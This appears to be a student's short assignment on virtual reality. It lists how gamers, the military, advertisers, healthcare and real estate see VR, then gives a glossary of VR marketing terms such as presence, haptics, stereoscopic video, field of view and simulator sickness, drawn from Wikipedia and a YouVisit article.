interact with virtual features or items. The effect is commonly created by VR 

headsets consisting of a head-mounted display with a small screen in front of the 

eyes, but can also be created through specially designed rooms with multiple large 

screens. 

VR systems that include transmission of vibrations and other sensations to 

the user through a game controller or other devices are known as haptic systems. 

This tactile information is generally known as force feedback video gaming and 

training applications. 

 

                                  

 

 

 

           

https://en.wikipedia.org/wiki/Computer_generated_reality
https://en.wikipedia.org/wiki/Perception#Types
https://en.wikipedia.org/wiki/Haptic_perception
https://en.wikipedia.org/wiki/Head-mounted_display
https://en.wikipedia.org/wiki/Game_controller
https://en.wikipedia.org/wiki/Haptic_technology
https://en.wikipedia.org/wiki/Force_feedback
https://en.wikipedia.org/wiki/Video_gaming
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ACCORDING TO GAMERS:  

-It is a platform of exploration ,immersion and entertainment. 

-3d artificial  fully immersive environment. 

-platform for gamers by gamers. 

                                 

             WHAT IS VR ACCORDING TO MILITARY 

 

-Training method for military and strategic teams. 

-Training for recreated combat situation. 

-Training of reflexes and action in high intensity scenarios. 

-skill enhancement and realtime analtics. 
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VR FOR ADVERTISERS 

   
 

-platform to access new or different types of customer. 

-delivery of VR in experience ads. 

-part of larger brand market or awareness campaign. 

-a unique advertising tool. 

 

ACCORDING TO HEALTHCARE 

 

-Innovatation way of training and also healing and rehabilitate patients. 

-Multifaced tool for practitioners, apprentics and patients. 

-Means of empowering and helping patients. 

-Skill training in simulated environments. 

 

 ACCORDING TO REAL ESTATE INDUSTRIES 

 

-Remotely visit cities, homes even other countries.  

-Realize the ideal home with virtual interior design. 

-Useful tools in construction process. 
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 PRESENCE 

This is what VR content creators strive for. They want their viewers to feel 

as if they’ve actually been transported to a new event or place. When people 

discuss being present in VR, they are literally talking about how immersive the 

experience is. Marketers have a significant choice to make when brainstorming 

their content. How prominent do they want branding and other key elements? 

These types of additions can, unfortunately, lower presence. 

 HAPTICS 

Haptics refers to tactile response, or what users feel when using virtual 

reality. To use a hotel experience as an example, this might be the way linens feel 

to the user’s touch. Or, another example of this might be when a user experiences 

feeling warm sunshine while virtually traveling to a tropical destination. VR 

experience don’t necessarily need haptics, but they can make them more 

memorable. 

HMD 

HMDs, or “head mounted displays,” are what people use to experience 

virtual reality. Usually this is a headset of goggles, like the Oculus Rift, or it might 

be a helmet. No matter what, HMDs are close in proximity to your eyes, allowing 

users to easily view and focus on a VR experience. Marketers should consider 

what HMD or HMDs they want their experience on. Each VR headset comes with 

its own pluses and negatives. 

INTERACTIVE VIRTUAL REALITY 

This refers to virtual reality that is layered and includes multiple ways for 

people to experience the content. For example, with interactive virtual reality 

viewers are able to experience several types of media inside a piece VR content 

and also select how they want to proceed during the experience.  

 

VIRTUAL VISITS 

Virtual visits are the total number of visitors who watch a VR experience. 

This is, and will continue to be, important to marketers because it gives insight 

into how many people view an experience. Marketers will want this information 

so they can gauge what users are, and maybe aren’t, responding to, especially 

early on. 

 

https://www.youvisit.com/insight/travel-destinations/virtual-reality-is-wowing-travel-industry-marketers/?nabe=4914463931367424:1,5136361873211392:0,5770027523637248:0,6101518938013696:0&utm_referrer=https%3A%2F%2Fencrypted.google.com%2Furl%3Fsa%3Dt%26rct%3Dj%26q%3D%26esrc%3Ds%26source%3Dweb%26cd%3D1%26ved%3D0ahUKEwi9ooOngozXAhVi7IMKHYNIDggQFggtMAA%26url%3Dhttps%253A%252F%252Fwww.youvisit.com%252Finsight%252Ftravel-destinations%252Fvirtual-reality-is-wowing-travel-industry-marketers%252F%26usg%3DAOvVaw0F8dinQdVcyRhr70mF6VK5
http://www.youvisit.com/
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360 VIDEO 

360 video is the building blocks of any virtual reality experiences and can 

be viewed even without a VR headset. Some social sites like Facebook and 

YouTube support 360 videos, which allows people to “look around” the video 

using a mouse, trackpad, or by physically moving their phone. 

4D VIRTUAL REALITY 

4D virtual reality adds an extra dimensions to an experience. For example, 

marketers might create a VR music festival experience and then include a rumble 

pack with it to help people feel the experience. Marriott created a 4D experience 

when it added a mister to a VR beach experience. 

STEREOSCOPIC 

This term refers to what is done to either an image or a video in order to 

make it appear three-dimensional. Two photos or videos are captured at slightly 

different angles, and when viewed together create the appearance of depth. Not 

all VR experiences are stereoscopic. Marketers can work with a VR company to 

decide if this is the right choice for them. 

 STITCH 

To create a VR experience, a photographer or videographer captures an 

image or video using several cameras and then “stitch” the images together to 

create one complete 360-degree experience. A good VR experience should have 

as few seams as possible. Seams and stitching errors pull viewers out of an 

experience. 

HEAD TRACKING 

Head tracking means following users’ head movements. In short, head 

tracking means that when you look around a VR experience, the images or video 

moves with you. 

EYE TRACKING 

Similarly, eye tracking is when eye movement is noted instead of head 

movement. Some VR hardware follows where users’ look and adjusts the images 

or video accordingly. In gaming, for example, eye movement might guide where 

users aim a weapon. But of course, since VR has many applications outside the 

gaming world, this is only one example. 

 

http://www.youvisit.com/virtualrealityexperiences
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 FOV 

FOV stands for “field of view,” and refers to how much the human eye 

sees in its normal field of vision. Based on where our eyes are placed, and because 

we don’t come equipped with literal eyes in the backs of our heads, we don’t 

experience life in full 360-degrees. VR does its best to replicate the human 

experience of FOV. Different VR headsets have various fields of view. Typically, 

the higher the field of view the better. 

LATENCY 

Latency, in general, is the lag between a stimulation and a response. In 

terms of VR, it’s what we call a slight lag between what you see during a VR 

experience and what would normally happen. Latency was once a problem in VR, 

but not anymore. 

 SIMULATOR SICKNESS  KBN2 

Simulator sickness happens when there’s a disconnect between what your 

eyes are seeing and what your body is doing and feeling. When the two don’t 

align, sometimes users can feel nauseous. It doesn’t happen to everyone, and it 

doesn’t happen everytime-but sometimes the brain gets confused when it gets 

visual cues of movement that aren’t physically registering. Working with an 

established VR company will drastically reduce the likelihood of simulator 

sickness. 

While this may seem like a lot to learn, the principles behind VR build 

upon each other. And once you know how to speak the language, the sooner you 

can use them to market your products and services in a new and exciting way. 

 

Submitted by, 

MUKILAN.B 
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